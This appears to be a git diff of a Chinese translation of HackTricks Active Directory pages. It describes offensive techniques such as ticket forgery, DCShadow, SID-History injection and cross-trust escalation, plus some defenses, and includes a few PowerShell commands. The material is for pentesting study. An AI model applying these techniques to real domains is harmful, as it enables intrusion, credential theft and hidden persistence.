被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让你**横向移动**/**提升**权限。 被妥协的用户可能对某些域对象具有一些**有趣的权限**,这可能让您**横向移动**/**提升**权限。
{{#ref}} {{#ref}}
acl-persistence-abuse/ acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### 打印机后台处理程序服务滥用 ### 打印机后台处理程序服务滥用
发现域内**后台处理程序服务**的**监听**可以被**滥用**以**获取新凭据**并**提升权限**。 发现域内**后台处理程序服务**可以被**滥用**以**获取新凭据**并**提升权限**。
{{#ref}} {{#ref}}
printers-spooler-service-abuse.md printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### 第三方会话滥用 ### 第三方会话滥用
如果**其他用户****访问**了**被妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\ 如果**其他用户****访问**被**妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
通常用户会通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法: 通常用户会通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法:
{{#ref}} {{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS ### LAPS
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 控制,仅限授权用户。拥有足够权限访问这些密码后,转向其他计算机变得可能 **LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 仅限授权用户控制。拥有足够权限访问这些密码后,可以实现对其他计算机的转移
{{#ref}} {{#ref}}
laps.md laps.md
@ -352,17 +352,17 @@ ad-certificates/certificate-theft.md
### 证书模板滥用 ### 证书模板滥用
如果配置了**易受攻击的模板**可以利用它们来提升权限: 如果配置了**易受攻击的模板**则可以滥用它们以提升权限:
{{#ref}} {{#ref}}
ad-certificates/domain-escalation.md ad-certificates/domain-escalation.md
{{#endref}} {{#endref}}
## 高权限账户的后期利用 ## 使用高权限账户的后期利用
### 转储域凭据 ### 转储域凭据
一旦你获得了**域管理员**或更好的**企业管理员**权限,你可以**转储**域数据库_ntds.dit_。 一旦您获得**域管理员**或更好的**企业管理员**权限,您可以**转储**域数据库_ntds.dit_。
[**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。 [**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### 权限提升作为持久性 ### 权限提升作为持久性
之前讨论的一些技术可以用于持久性。\ 之前讨论的一些技术可以用于持久性。\
例如,可以: 例如,可以:
- 使用户易受[**Kerberoast**](kerberoast.md)攻击 - 使用户易受[**Kerberoast**](kerberoast.md)攻击
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### 银票 ### 银票
**银票攻击**为特定服务创建一个**合法的票据授予服务TGS票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。 **银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
{{#ref}} {{#ref}}
silver-ticket.md silver-ticket.md
@ -411,7 +411,7 @@ golden-ticket.md
### 钻石票 ### 钻石票
这些票据类似于金票,但伪造的方式**绕过常见的金票检测机制** 这些就像金票,以一种**绕过常见金票检测机制**的方式伪造
{{#ref}} {{#ref}}
diamond-ticket.md diamond-ticket.md
@ -419,7 +419,7 @@ diamond-ticket.md
### **证书账户持久性** ### **证书账户持久性**
**拥有账户的证书或能够请求它们**是能够在用户账户中持久的非常好方法(即使他更改密码): **拥有账户的证书或能够请求它们**是能够在用户账户中持久存在的非常好方法(即使他更改密码):
{{#ref}} {{#ref}}
ad-certificates/account-persistence.md ad-certificates/account-persistence.md
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **证书域持久性** ### **证书域持久性**
**使用证书也可以在域内以高权限持久** **使用证书也可以在域内以高权限持久存在**
{{#ref}} {{#ref}}
ad-certificates/domain-persistence.md ad-certificates/domain-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组 ### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本是为了保护,但如果不加以监控,可能会适得其反,导致不当访问。 Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本是保护,但如果不加以监控,可能会适得其反,导致不当访问。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group) [**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL 持久性 ### ACL 持久性
可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。 可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
{{#ref}} {{#ref}}
acl-persistence-abuse/ acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### 安全描述符 ### 安全描述符
**安全描述符**用于**存储**一个**对象**对另一个**对象**的**权限**。如果你只需对一个对象的**安全描述符**进行**小改动**就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 **安全描述符**用于**存储**对象对另一个对象的**权限**。如果您只需对对象的**安全描述符**进行**小改动**,就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
{{#ref}} {{#ref}}
security-descriptors.md security-descriptors.md
@ -474,7 +474,7 @@ skeleton-key.md
### 自定义 SSP ### 自定义 SSP
[了解什么是 SSP安全支持提供者在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ [了解什么是 SSP安全支持提供者在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。 可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
{{#ref}} {{#ref}}
custom-ssp.md custom-ssp.md
@ -482,8 +482,8 @@ custom-ssp.md
### DCShadow ### DCShadow
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。**需要 DA** 权限并在**根域**内。\ 它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。**需要 DA** 权限并在**根域**内。\
请注意,如果使用错误的数据,会出现相当丑陋的日志。 请注意,如果使用错误的数据,会出现相当丑陋的日志。
{{#ref}} {{#ref}}
dcshadow.md dcshadow.md
@ -491,8 +491,8 @@ dcshadow.md
### LAPS 持久性 ### LAPS 持久性
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\ 之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
检查 请查看
{{#ref}} {{#ref}}
laps.md laps.md
@ -504,33 +504,33 @@ laps.md
### 基本信息 ### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。 [**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。 在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
**步骤** **步骤**
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。 1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**
2. 如果客户端成功通过身份验证DC1 会发出新的 TGT。 2. 如果客户端成功通过身份验证DC1 会发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。 3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。 4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。 5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端希望访问的域 2 中的服务器发出**票据授予服务 (TGS)**。 6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。 7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。
### 不同的信任 ### 不同的信任
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的。在最后一种情况下,**你只能从受信任的域访问信任域内的资源**。 重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。 如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
**不同的信任关系** **不同的信任关系**
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。 - **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程得以缩短,这在地理分散的环境中特别有利。 - **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些信任在不同的、不相关的域之间建立,且本质上是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过对外部信任进行 SID 过滤,安全性得以增强 - **外部信任**:这些信任在不同的、不相关的域之间建立,具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林中非常重要,使其能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。 - **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。 - **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制实施 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。 - **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异** #### **信任关系中的其他差异**
@ -541,14 +541,14 @@ laps.md
### 攻击路径 ### 攻击路径
1. **枚举**信任关系 1. **枚举**信任关系
2. 检查是否有任何**安全主体**(用户/组/计算机)对**另一个域**的资源有**访问**权限,可能通过 ACE 条目或通过在另一个域的组中。寻找**跨域的关系**(信任可能是为此创建的)。 2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
1. 在这种情况下kerberoast 可能是另一个选项。 1. 在这种情况下kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**进行**转移**的**账户**。 3. **妥协**可以**跨域**转移的**账户**。
攻击者可以通过三种主要机制访问另一个域中的资源: 攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。 - **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。 - **外部域组成员资格**:主体也可以是外部域中组的成员。然而,方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。 - **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 子到父森林权限提升 ### 子到父森林权限提升
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM
``` ```
> [!WARNING] > [!WARNING]
> 有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\ > 这里**2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 您可以使用以下命令查看当前域使用的密钥: > 您可以使用以下命令查看当前域使用的密钥:
> >
> ```bash > ```bash
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History 注入 #### SID-History 注入
通过 SID-History 注入利用信任关系以企业管理员身份提升到子/父域 通过 SID-History 注入,作为企业管理员提升到子/父域,利用信任关系
{{#ref}} {{#ref}}
sid-history-injection.md sid-history-injection.md
@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC #### 利用可写的配置 NC
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上具**SYSTEM 权限**,最好是子 DC。 理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥**SYSTEM 权限**,最好是子 DC。
**将 GPO 链接到根 DC 站点** **将 GPO 链接到根 DC 站点**
@ -592,7 +592,7 @@ sid-history-injection.md
**危害森林中的任何 gMSA** **危害森林中的任何 gMSA**
一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。 一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。
详细分析可以在关于 [黄金 gMSA 信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 的讨论中找到。 详细分析可以在关于 [黄金 gMSA 信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 的讨论中找到。
@ -606,7 +606,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。 ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
有关此内容的更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者能够设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。 有关更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向(入站)或双向 ### 外部森林域 - 单向(入站)或双向
```powershell ```powershell
@ -647,7 +647,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。 另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\ 另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。 此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}} {{#ref}}
@ -658,12 +658,12 @@ rdp-sessions-abuse.md
### **SID过滤** ### **SID过滤**
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为森林信任是安全的,这是微软的立场。 - 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。 - 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。
### **选择性证:** ### **选择性身份验证:**
- 对于森林间信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。 - 对于跨森林信任,采用选择性身份验证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任账户的攻击。 - 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任账户的攻击。
[**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) [**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD ## AD -> Azure & Azure -> AD
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}} {{#endref}}
## 一些通用防御 ## 一些通用防御
@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。 - **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务账户权限**服务不应以域管理员DA权限运行以维护安全性。 - **服务账户权限**服务不应以域管理员DA权限运行以维护安全性。
- **临时权限限制**对于需要DA权限的任务应限制其持续时间。这可以通过以下方式实现`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` - **临时权限限制**对于需要DA权限的任务其持续时间应有限制。这可以通过:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`来实现。
### **实施欺骗技术** ### **实施欺骗技术**
@ -692,8 +692,8 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **识别欺骗** ### **识别欺骗**
- **对于用户对象**:可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。 - **对于用户对象**:可疑指标包括不寻常的ObjectSID、稀少的登录、创建日期和低错误密码计数。
- **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。 - **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
### **绕过检测系统** ### **绕过检测系统**

View File

@ -1,8 +1,8 @@
# 横向移动 # Lateral Movement
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
有不同的方法在外部系统中执行命令这里可以找到主要Windows横向移动技术的工作原理解释 在外部系统中执行命令有不同的方法这里可以找到主要Windows横向移动技术的工作原理说明
- [**PsExec**](psexec-and-winexec.md) - [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md) - [**SmbExec**](smbexec.md)
@ -10,8 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md) - [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md) - [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md) - [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud) - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud) - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}